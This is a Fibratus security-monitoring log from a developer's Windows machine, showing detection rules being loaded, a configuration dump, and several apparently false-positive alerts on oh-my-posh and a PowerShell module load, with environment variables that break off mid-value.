+time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_unusual_directory.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T14:17:23+01:00 level=info msg=bootstrapping with pid 4040. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T14:17:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false stack-enrichment=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-registry=>true max-buffers=>36 buffer-size=>512 enable-fileio=>true min-buffers=>16 enable-thread=>true enable-dns=>false enable-audit-api=>true enable-image=>true enable-vamap=>true enable-mem=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false method=>POST serializer=>json endpoints=>[]] elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s healthcheck=>true gzip-compression=>false trace-log=>false flush-period=>1s index-name=>fibratus bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200]] amqp=>[ enabled=>false timeout=>5s exchange=>fibratus durable=>false exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus vhost=>/] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-allocs=>false skip-files=>false enabled=>false skip-registry=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T14:17:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T14:17:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T14:18:15+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 3279922 + Pid: 1676 + Tid: 17276 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-04 14:18:14.4900619 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 1676 + Ppid: 14176 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=96.3159" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=96.3159" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T14:18:15+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 3279923 + Pid: 1676 + Tid: 6392 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-04 14:18:14.490181 +0100 CET + Params: status➜ Success + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory + + Pid: 1676 + Ppid: 14176 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=96.3159" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=96.3159" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T14:19:21+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 3322639 + Pid: 14176 + Tid: 17168 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-04 14:19:21.1167804 +0100 CET + Params: base_address➜ 22ab3e40000, checksum➜ 0, default_address➜ 10000000003b4000, file_path➜ C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll, image_size➜ 3899392, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14176, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 14176 + Ppid: 12304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1aee298e-6944-4721-90e5-241dbdbb85e5 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T14:19:21+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 3322639 + Pid: 14176 + Tid: 17168 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-04 14:19:21.1167804 +0100 CET + Params: base_address➜ 22ab3e40000, checksum➜ 0, default_address➜ 10000000003b4000, file_path➜ C:\Users\nedo\Documents\WindowsPowerShell\Modules\NtObjectManager\2.0.1\NtObjectManager.dll, image_size➜ 3899392, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 14176, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 14176 + Ppid: 12304 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files 